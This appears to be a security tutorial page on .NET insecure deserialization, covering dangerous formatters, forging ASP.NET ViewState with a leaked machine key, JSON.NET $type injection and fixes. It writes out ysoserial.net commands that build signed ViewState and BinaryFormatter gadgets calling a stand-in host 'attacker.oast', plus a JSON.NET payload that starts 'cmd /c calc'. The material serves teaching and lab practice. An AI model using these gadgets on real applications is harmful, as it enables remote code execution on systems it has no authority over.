Insecure Deserialization: From Serialized Blob to Remote Code Execution

.NET Deserialization and ViewState

How .NET deserialization becomes RCE: BinaryFormatter and ObjectStateFormatter, __VIEWSTATE and the MAC, ysoserial.net, viewgen, and JSON.NET typing.

Published

.NET deserialization mirrors Java: dangerous formatters rebuild attacker-chosen types, and ysoserial.net supplies the gadget chains. The signature feature here is ASP.NET ViewState, which is exploitable once the machine key is known. This page covers the formatters, ViewState, and the tools. Practice on a free live target.

The dangerous formatters

Several .NET serializers rebuild arbitrary types and are unsafe on untrusted input:

BinaryFormatter          the classic; base64 often starts AAEAAAD
LosFormatter             used by ViewState internally
ObjectStateFormatter     the ViewState formatter
NetDataContractSerializer / SoapFormatter   other type-aware serializers

A base64 blob starting AAEAAAD is a BinaryFormatter stream.

__VIEWSTATE and the MAC

ASP.NET Web Forms store page state in a __VIEWSTATE hidden field, serialized with ObjectStateFormatter. By default it is protected by a MAC using the app's machine key, so the server rejects tampered ViewState. The attack unlocks when that key is known or leaked:

__VIEWSTATE=...           hidden field carrying the serialized page state
MAC protection            default; needs the machine key to forge
machine key leak          source disclosure, web.config exposure, default/weak key

Generate a gadget with ysoserial.net

With the key in hand, ysoserial.net signs a ViewState gadget the server will accept:

# ViewState, machine key known (--generator is the HEX VALUE from the __VIEWSTATEGENERATOR field)
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping attacker.oast" \
  --generator=CA0B0334 --validationkey=<KEY> --validationalg=HMACSHA256 \
  --path="/page.aspx" --apppath="/"
 
# raw BinaryFormatter gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "ping attacker.oast" -o base64

Use the algorithm the app actually configures: modern ASP.NET (4.5+) defaults to HMACSHA256, not SHA1, and a mismatch fails the MAC. --path/--apppath must match the target page for the MAC to verify in non-root apps. TypeConfuseDelegate needs System.Windows.Forms, so it is .NET Framework / Windows only. viewgen is a lightweight alternative focused on crafting and validating ViewState. Deliver the payload through the __VIEWSTATE field (or the deserialized body) and confirm out of band.

JSON.NET type-name handling

JSON is not automatically safe on .NET. If TypeNameHandling is set to anything but None, a $type property lets the attacker name the class to instantiate:

{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList, mscorlib","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}

That reopens gadget chains over plain JSON. The point is the $type injection, not this exact class: a working chain needs the named assemblies to be loaded (PresentationFramework is WPF, absent on ASP.NET Core and Linux), the correct assembly qualifier for the runtime (System.Diagnostics.Process moves assembly on .NET 5+), and MethodParameters to pass the command, so in practice you let ysoserial.net generate the gadget for the target. The fix is to leave TypeNameHandling at None.

Edge variants

-g TypeConfuseDelegate     the common ViewState/BinaryFormatter gadget
--validationalg=HMACSHA256  match the app's configured algorithm
unprotected ViewState       enableViewStateMac=false means no key needed (rare, legacy)
JSON.NET $type              TypeNameHandling != None is injectable

Fixing it

  • Avoid BinaryFormatter and the type-aware formatters on untrusted input. Microsoft deprecated BinaryFormatter in .NET 5, disabled it by default in .NET 7 (it throws at runtime), and removed it in .NET 9, so a gadget only reaches it on .NET Framework or an app that explicitly re-enables it.
  • Keep ViewState MAC enabled and the machine key secret, and rotate it if it may have leaked.
  • Leave JSON.NET TypeNameHandling at None and parse into fixed types.

Full guidance is in preventing insecure deserialization. Next, the one that is RCE by design in Python pickle, or try ViewState on a free lab.

← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution